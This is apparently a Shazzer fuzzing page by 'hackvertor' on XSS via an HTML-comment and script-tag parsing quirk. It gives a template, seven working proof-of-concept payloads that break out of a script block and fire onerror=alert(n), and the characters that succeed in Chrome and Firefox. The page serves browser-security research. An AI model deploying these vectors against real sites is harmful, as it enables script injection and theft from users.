Fuzzing weird script behaviour after script text

This demonstrates that Shazzer now allows you to fuzz script tags.

Created by: hackvertor

Created on: Thursday, July 18, 2024 at 2:27:30 PM

Updated on: Friday, September 6, 2024 at 6:55:09 AM

Vector type: XSS

Template used:

<script>
x = "<!--<script$[chr]>"
</script>
<div title="</script><img src=data: onerror=log($[i])>"></div>

Your browser was detected as:

Detecting... Detecting... Detecting... Detecting...

Sample payloads

<script>
x = "<!--<script/>"
</script>
<div title="</script><img src=data: onerror=alert(47)>"></div>

<script>
x = "<!--<script	>"
</script>
<div title="</script><img src=data: onerror=alert(9)>"></div>

<script>
x = "<!--<script
>"
</script>
<div title="</script><img src=data: onerror=alert(13)>"></div>

<script>
x = "<!--<script>"
</script>
<div title="</script><img src=data: onerror=alert(12)>"></div>

<script>
x = "<!--<script
>"
</script>
<div title="</script><img src=data: onerror=alert(10)>"></div>

<script>
x = "<!--<script >"
</script>
<div title="</script><img src=data: onerror=alert(32)>"></div>

<script>
x = "<!--<script>>"
</script>
<div title="</script><img src=data: onerror=alert(62)>"></div>

Chrome 126.0.0.0 desktop macOS 10.15.7

Found 7 results

Show differences only?

Dec	Hex	Chr
9	09	HT

Dec	Hex	Chr
10	0a	LF

Dec	Hex	Chr
12	0c	FF

Dec	Hex	Chr
13	0d	CR

Dec	Hex	Chr
32	20	SPACE

Dec	Hex	Chr
47	2f	/

Dec	Hex	Chr
62	3e	>

Firefox 128.0 desktop macOS 10.15

Found 7 results

Show differences only?

Dec	Hex	Chr
9	09	HT

Dec	Hex	Chr
10	0a	LF

Dec	Hex	Chr
12	0c	FF

Dec	Hex	Chr
13	0d	CR

Dec	Hex	Chr
32	20	SPACE

Dec	Hex	Chr
47	2f	/

Dec	Hex	Chr
62	3e	>